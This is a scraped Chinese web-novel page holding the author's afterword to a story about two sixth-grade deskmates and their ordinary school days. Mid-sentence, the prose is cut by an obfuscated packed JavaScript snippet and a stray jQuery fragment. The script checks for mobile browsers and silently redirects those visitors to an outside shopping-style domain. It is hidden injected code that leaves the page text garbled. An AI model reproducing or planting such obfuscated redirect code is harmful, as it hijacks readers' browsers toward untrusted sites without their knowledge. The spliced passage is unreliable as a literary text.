文趣网 > 其他小说 > 我的同桌是班长 > 8. 后记
    后记:关于普通日子里的光

    写完最后一个句点时,窗外正好是黄昏。深秋的夕阳把天空染成渐变的橘粉色,像谁不小心打翻了水彩盘。

    忽然想起很多年前,我也曾坐在那样的教室里——第三排,靠窗的位置,同桌是一个扎马尾的女生。她不叫苏瑾,没有苏瑾那么完美,但她也曾在数学课上递给我小纸条,上面写着:“老师叫你呢,快醒醒。”

    那时候觉得,六年级好长啊,长到以为永远过不完。可一转眼,我已经不记得那个女生的名字,不记得她长什么样,不记得我们说过什么话。

    只记得,有那么一个人,在我打瞌睡时推醒我,在我没带橡皮时借给我,在我被老师点名答不出时,小声说答案。

    原来青春里最珍贵的,从来不是惊天动地的大事,而是这些琐碎的、微小的、几乎要忘记的瞬间。

    所以有了林一舟和苏瑾。

    我写他们换座时的“崩溃”,写值日时打翻水桶的笨拙,写考试前的“重点”纸条,写运动会那枚闪闪发光的金牌。写苏瑾永远工整的笔记,写林一舟藏在书包里的小熊饼干。写秋天的风,冬天的暖气,写窗上的雾气,写落下的银杏叶。

    我写的不是他们,是我,是你,是我们每个人都曾有过的、那些普通得不能再普通的六年级日子。

    在这个故事里,我没有写“喜欢”,没有写“爱”,没有写任何超越那个年纪的情感。因为十一岁的孩子不懂那些,他们只懂谁对自己好,谁总是管着自己,谁在需要的时候,会说“我相信你”。

    他们之间,是比“朋友”更特殊一点,比“同桌”更亲近一点的关系。是在日复一日的相处中,慢慢渗透进彼此生活的、温暖的光。

    有读者问:后来呢?他们上初中还在一起吗?会成为恋人吗?

    我不知道。因为故事就停在这里,停在六年级的秋天,停在银杏叶落满地的季节。停在林一舟递出那块饼干,苏瑾接过,说“谢谢”的那一刻。

    后来的事,就交给时间吧。

    也许他们会考上不同的初中,慢慢失去联系。也许他们会一直是朋友,偶尔在社交软件上点个赞。也许很多年后,林一舟在某个秋天的午后,忽然想起那个总是坐得笔直的女生,和她递来的那张写着“第32页”的纸条。

    但无论后来如何

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548954|204267||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,在十一岁那年的秋天,他们曾是彼此青春里,最特别的存在。

    这就够了。

    写这个故事时,我常常想起《城南旧事》里英子的话:“爸爸的花儿落了,我也不再是小孩子了。”

    六年级的孩子,正站在童年的尾巴上,踮着脚,好奇地张望那个叫作“青春期”的世界。他们还不懂离别,不懂遗憾,不懂时间一去不返。

    他们只知道,今天的作业好多,明天的考试好难,同桌管得好严。

    可正是这些“不知道”,让他们的陪伴,显得如此纯粹、干净、珍贵。

    谢谢你们喜欢林一舟和苏瑾,喜欢这个普通得不能再普通的六年级故事。

    如果你也曾有过这样一个同桌——ta可能很严格,可能很爱管你,可能你们经常斗嘴,但ta也在你需要时,递来一张纸巾,一本笔记,一句“加油”。

    那么,这个故事,也是为你写的。

    献给所有普通日子里的光。

    献给那些我们几乎要忘记,却在某个瞬间忽然想起的同桌。

    献给一去不返的,却永远闪亮的,十一岁。

    ——作者